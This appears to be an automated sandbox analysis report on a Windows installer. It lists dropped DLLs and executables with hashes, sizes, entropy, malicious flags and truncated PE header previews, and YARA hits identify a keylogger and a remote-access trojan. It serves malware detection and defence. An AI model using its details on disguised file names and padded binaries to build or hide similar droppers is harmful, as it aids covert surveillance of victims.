                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-V6G0T.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1388688
                                                                                                                                    Entropy (8bit):6.85745413435775
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
                                                                                                                                    MD5:3B838DC25E96877A1852966F75A5C44A
                                                                                                                                    SHA1:555E1830829B008D66FF591D87AC235F6286AB9A
                                                                                                                                    SHA-256:292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
                                                                                                                                    SHA-512:B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.*(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!L*y)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\libcrypto-1_1.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2533560
                                                                                                                                    Entropy (8bit):6.236092740507617
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
                                                                                                                                    MD5:59A3B581020759D52538425A1F5A53D5
                                                                                                                                    SHA1:4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
                                                                                                                                    SHA-256:4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
                                                                                                                                    SHA-512:9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\libcryptoMD.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2098416
                                                                                                                                    Entropy (8bit):6.277915381502377
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
                                                                                                                                    MD5:1AFC9BD5E625E85B696141F62FBA4325
                                                                                                                                    SHA1:56FB325125F436D7408808446D58AF50F8AA3BFC
                                                                                                                                    SHA-256:83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
                                                                                                                                    SHA-512:02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\libcurl.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):546816
                                                                                                                                    Entropy (8bit):6.657309146326691
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
                                                                                                                                    MD5:13CD45DF8AAA584EBD2A40EDE76F1E06
                                                                                                                                    SHA1:BAA19E6A965621CB315E5F866EDC179EF1D6B863
                                                                                                                                    SHA-256:3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
                                                                                                                                    SHA-512:285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\libeay32.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1388688
                                                                                                                                    Entropy (8bit):6.85745413435775
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
                                                                                                                                    MD5:3B838DC25E96877A1852966F75A5C44A
                                                                                                                                    SHA1:555E1830829B008D66FF591D87AC235F6286AB9A
                                                                                                                                    SHA-256:292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
                                                                                                                                    SHA-512:B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.*(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!L*y)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\libjpeg-turbo-win.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):713456
                                                                                                                                    Entropy (8bit):6.620067101616198
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
                                                                                                                                    MD5:96D413CAAF8C7793A96EF200F6695922
                                                                                                                                    SHA1:ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
                                                                                                                                    SHA-256:5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
                                                                                                                                    SHA-512:93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\libssl-1_1.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):541880
                                                                                                                                    Entropy (8bit):5.766958615909
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
                                                                                                                                    MD5:753B75570811052953F336261E3031BB
                                                                                                                                    SHA1:2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
                                                                                                                                    SHA-256:603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
                                                                                                                                    SHA-512:6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\msvcr120.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):970912
                                                                                                                                    Entropy (8bit):6.9649735952029515
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
                                                                                                                                    MD5:034CCADC1C073E4216E9466B720F9849
                                                                                                                                    SHA1:F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
                                                                                                                                    SHA-256:86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
                                                                                                                                    SHA-512:5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\opus.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):370488
                                                                                                                                    Entropy (8bit):6.86993159214619
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
                                                                                                                                    MD5:82E49683F540F78B2D1759CDE594482F
                                                                                                                                    SHA1:352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
                                                                                                                                    SHA-256:55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
                                                                                                                                    SHA-512:F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\quartz.dll (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1074302464
                                                                                                                                    Entropy (8bit):0.007606963999012058
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:
                                                                                                                                    MD5:1EFF7FFD7E1333DFED1D89733F07A5D9
                                                                                                                                    SHA1:C4871CFAD84A4FB333FB70E2CC32412515C95AE8
                                                                                                                                    SHA-256:732D018A50B76E8FC8B733C18EF93407C77DE781B150841538FEBB0C696C7E6A
                                                                                                                                    SHA-512:36ECF0EB0F991E25F511A88F9E31075E99F1505C09DEBCC43E92759F68BE0BB93E9BD6D086A95CBDAD1D1657AFF4FEA13021EA8050000B9DADC331A4340E6E64
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L.....#c...........!...I.p................................................................@.....................................................................V....................................................................................code...7o.......p.................. ..`.data...9............t..............@....rdata..............................@..@.edata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\unins000.exe (copy)

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):3220541
                                                                                                                                    Entropy (8bit):6.304877461731294
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:ydx4HDQNJL0VR6SgMt+k4RiP+RmXMjiINiMq95FoHVHNTQTEjT333TY+:DHDYsqiPRhINnq95FoHVBT333Tf
                                                                                                                                    MD5:F4CFC33B1188222A72874AD782AC94D2
                                                                                                                                    SHA1:E08AFF4D99C2BF3845197412822584CC1F815BF2
                                                                                                                                    SHA-256:89C3FE10C1E29E15CEBD479A7D458727152E623BD9C4EF3B53302B5BA12B2F5E
                                                                                                                                    SHA-512:0514FF3765F854E90A1AB6C30B76D2A85A542233F828BDAF04430EB041939976DFAB72B0CF1B183F03D7456CEAD422865AFEB089EDBEE40E8589927268E9837E
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................B,.........`V,......`,...@...........................1...........@......@....................-.......-..9............................................................-.......................-.......-......................text.....,.......,................. ..`.itext...(...0,..*....,............. ..`.data........`,......F,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-...... -.............@..@.rsrc................"-.............@..@..............1.......0.............@..@........................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\6nnnc.bmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 304x165, components 3
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):5684
                                                                                                                                    Entropy (8bit):7.889638794525415
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:96:ETFmuCyeQ5cM+Apb2zv31pz+7bqNqa6sh3xvhpRpZqcSPVs/GmXOVHcSrtBt2ij:u4yeQ5cFAw/n67bQqPSxvNpZqcSPVsfs
                                                                                                                                    MD5:2BFF1421FCEB76BAC872737F8ACB5250
                                                                                                                                    SHA1:8DC3186A4DA70BF6B60176B5FD2F0576F7C01527
                                                                                                                                    SHA-256:80F72C25F7608DE7EFF4953FC4B82A3F52BF1F8D6B814743B8E533570D6A4D55
                                                                                                                                    SHA-512:547AB41EB53853D9226ED8C1511A189CD0A64107A0BB14D75075E3FFE5B02C44F0E7AA36A800BF1B3BCA333957D6DB9F4D794466656CA4598DC1DD129F772FCC
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:......JFIF...................................................( ..%...!1!%)+.....583,7(-.+.........../..%-----+-/+.--7+--.-+--.-------.-/+--5----7--------+........0.."........................................O.........................!12AQq."3ar......#bs....B...4RS.......$Dct..%CT...................................-......................1.!AQ..."2..Ra..q..B.............?..S...bx.)6.-....F[...........}^.M....+.j[.._Y*L.B.....d.A....r.T[[2g.~_...,.r|...r......bd..n..Q-...m..Ra.T.r....."...z..}..-DD.......gY.9...lD@...DD.A...t..NP-m....Vx&9/........M..-....&.s..uIH`.d"".P..@...D.J.[i..}.O..e&...X.7(..a.5-.f_.._Y...o.e....}j.2......=....\..........YO...(.z.Cr.Y.DnW...$..w..Z.}&..n.........D..".d...a4....h.4.Q)(..R....b=.......!....,.B.....k..E7.+.n8_:.\..!.[....9..^.8...:$<....S....5g-.o..lH.......p....7.).....J.!.....*..@...".....=-[........*%.c.5..7.n4...-..5....$p%...H..."4.......P.D@k-.Z/...*:.ir.}.O.Q.9.*..b.........i...?.W.../..|6mdc.S...-O..Y8....Xe..(:#r.c

                                                                                                                                    C:\Users\user\AppData\Roaming\is\AstCrp.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):172216
                                                                                                                                    Entropy (8bit):6.698242571688099
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
                                                                                                                                    MD5:CF1169A87FE6266C7B457A2424DA69DA
                                                                                                                                    SHA1:5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
                                                                                                                                    SHA-256:24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
                                                                                                                                    SHA-512:7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\ast.exe

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):7543992
                                                                                                                                    Entropy (8bit):6.717610928993395
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
                                                                                                                                    MD5:8002D9E5851728EB024B398CF19DE390
                                                                                                                                    SHA1:9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
                                                                                                                                    SHA-256:B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
                                                                                                                                    SHA-512:6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
                                                                                                                                    Malicious:true
                                                                                                                                    Yara Hits:
                                                                                                                                    • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\is\ast.exe, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\is\ast.exe, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Roaming\is\ast.exe, Author: Joe Security
                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......*N..................rdata..#.....T......*N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\astclient.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):581304
                                                                                                                                    Entropy (8bit):6.580382227041057
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
                                                                                                                                    MD5:CDC5A8221738C1CA66564755BB58138C
                                                                                                                                    SHA1:EF096A2CAF133D217C202C147855F2CEE7ECD105
                                                                                                                                    SHA-256:DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
                                                                                                                                    SHA-512:A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.|*Ol..O.|(O...O.|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N|..O.$O|..O}.LO|..O..N|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\astrct.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1724088
                                                                                                                                    Entropy (8bit):6.573221633911959
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
                                                                                                                                    MD5:E0E559010A1CC7CB6B6F754E8833A156
                                                                                                                                    SHA1:0ADB286A1511B9D5820B042EE7D059DAEE8D0978
                                                                                                                                    SHA-256:A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
                                                                                                                                    SHA-512:3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Roaming\is\aw_sas32.dll

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):17648
                                                                                                                                    Entropy (8bit):6.317642988990049
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
                                                                                                                                    MD5:ACF7048E2347CFD66CD17648DBFBAF45
                                                                                                                                    SHA1:DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
                                                                                                                                    SHA-256:F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
